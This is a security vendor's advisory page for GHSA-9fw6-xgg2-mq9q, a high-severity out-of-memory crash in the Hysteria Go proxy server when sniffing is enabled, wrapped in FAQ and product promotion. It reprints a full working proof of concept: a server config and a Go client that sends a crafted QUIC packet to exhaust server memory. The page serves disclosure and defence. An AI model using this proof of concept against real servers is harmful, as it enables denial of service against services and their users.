How severe is GHSA-9fw6-xgg2-mq9q?

GHSA-9fw6-xgg2-mq9q has a CVSS score of 8.8/10, rated HIGH. Immediate patching is strongly recommended.

Which packages are affected by GHSA-9fw6-xgg2-mq9q?

GHSA-9fw6-xgg2-mq9q affects the following packages: github.com/apernet/hysteria/core/v2 (Go). Ecosystems affected: Go.

How do I fix GHSA-9fw6-xgg2-mq9q?

No patched version of github.com/apernet/hysteria/core/v2 has shipped for GHSA-9fw6-xgg2-mq9q yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

How do I detect GHSA-9fw6-xgg2-mq9q in my Go dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/apernet/hysteria/core/v2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate GHSA-9fw6-xgg2-mq9q if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-9fw6-xgg2-mq9q?

O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-9fw6-xgg2-mq9q can be triaged on real exposure rather than presence alone.

Is GHSA-9fw6-xgg2-mq9q actively exploited in the wild?

No public exploit code has been indexed for GHSA-9fw6-xgg2-mq9q yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

When was GHSA-9fw6-xgg2-mq9q published, and has it been updated?

GHSA-9fw6-xgg2-mq9q was published on May 5, 2026 and was last updated on June 25, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐹

🐹 Go

Not in CISA KEV

HIGH severity

GHSA-9fw6-xgg2-mq9q — v2

HIGH

GHSA-9fw6-xgg2-mq9q is a high-severity (CVSS 8.8) vulnerability in github.com/apernet/hysteria/core/v2. No vendor fix is recorded yet; mitigation options are listed below.

Hysteria: A specially constructed quic package can crash the server OOM when the sniff is enabled

Also known asGO-2026-5288

Published

May 5, 2026

Updated

Jun 25, 2026

Affected

1 pkg

Patched

None yet

Exploits

None indexed

Exploitation data as of Jun 25, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected

🐹github.com/apernet/hysteria/core/v2

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A specially constructed quic package can crash the server OOM when the sniff is enabled.

Details

When the server has sniff enabled, a valid connection can request the server to forward UDP traffic and construct a huge crypto length. The server will allocate memory according to this length, causing an OOM.

PoC

openssl req -x509 -newkey rsa:2048 -nodes -keyout localhost.key -out localhost.crt -days 365 -subj "/CN=localhost" 2>/dev/null

server.yaml

listen: :8443
tls:
  cert: localhost.crt
  key: localhost.key
auth:
  type: password
  password: mypassword
sniff:
  enable: true
outbounds:
  - name: my_direct
    type: direct
    default: true

poc.go

package main

import (
	"flag"
	"fmt"
	"log"
	"net"
	"time"

	"github.com/apernet/hysteria/core/v2/client"
)

func main() {
	serverAddrStr := flag.String("server", "127.0.0.1:8443", "Hysteria server address")
	password := flag.String("password", "mypassword", "Hysteria server password")
	flag.Parse()

	serverAddr, _ := net.ResolveUDPAddr("udp", *serverAddrStr)
	c, _, err := client.NewClient(&client.Config{
		ServerAddr: serverAddr, Auth: *password, TLSConfig: client.TLSConfig{InsecureSkipVerify: true},
	})
	if err != nil {
		log.Fatalf("Failed to connect: %v", err)
	}
	defer c.Close()
                                                                                                                
	var maliciousQUICPacket = []byte{                                                                                                                                                                         
		0xcb, 0x0, 0x0, 0x0, 0x1, 0x8, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x0, 0x0,                                                                                                              
		0x32, 0x1d, 0xa8, 0xd6, 0x3c, 0x51, 0x24, 0xb7, 0xbe, 0xf2, 0x91, 0x77, 0x1c, 0x9d, 0x66,                                                                                                             
		0xfc, 0xab, 0x91, 0x1e, 0xaf, 0xf9, 0x14, 0xd5, 0xec, 0xb0, 0x74, 0x46, 0x4f, 0x4, 0x70,                                                                                                              
		0x18, 0x35, 0x31, 0xc5, 0xea, 0x36, 0x40, 0x36, 0x65, 0xdf, 0xa4, 0xcc, 0xf9, 0xff, 0x65,                                                                                                             
		0xe5, 0x1d, 0xb7, 0xc5, 0xc2, 0xc2,                                                                                                                                                                   
	} 

	udpConn, err := c.UDP()
	if err != nil {
		fmt.Printf("[-] UDP error: %v\n", err)
	}
	targetAddr := fmt.Sprintf("8.8.8.8:443")
	fmt.Printf("[*] Sending 'death' packet to %s...\n", targetAddr)
	_ = udpConn.Send(maliciousQUICPacket, targetAddr)

	// Wait longer to ensure packet delivery
	time.Sleep(3 * time.Second)
	fmt.Printf("[+] Done.\n")
}

Impact

When sniffing is enabled on the server, a user with a valid password can launch an attack that could cause the server to run out of memory (OOM).

Affected Packages

1 total

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`github.com/apernet/hysteria/core/v2`	all versions	No fix

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/apernet/hysteria/core/v2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of github.com/apernet/hysteria/core/v2 has shipped for GHSA-9fw6-xgg2-mq9q yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-9fw6-xgg2-mq9q can be triaged on real exposure rather than presence alone.

Tailored to GHSA-9fw6-xgg2-mq9q. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A specially constructed quic package can crash the server OOM when the sniff is enabled. ### Details When the server has sniff enabled, a valid connection can request the server to forward UDP traffic and construct a huge crypto length. The server will allocate memory according to this length, causing an OOM. ### PoC ``` openssl req -x509 -newkey rsa:2048 -nodes -keyout localhost.key -out localhost.crt -days 365 -subj "/CN=localhost" 2>/dev/null ``` server.yaml ``` listen: :8443 tls: cert: localhost.crt key: localhost.key auth: type: password password: mypassword snif

O3 Security · Impact-Aware SCA

Is GHSA-9fw6-xgg2-mq9q in your dependencies?

O3 Security finds GHSA-9fw6-xgg2-mq9q across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

Scan my dependencies How O3 SCA works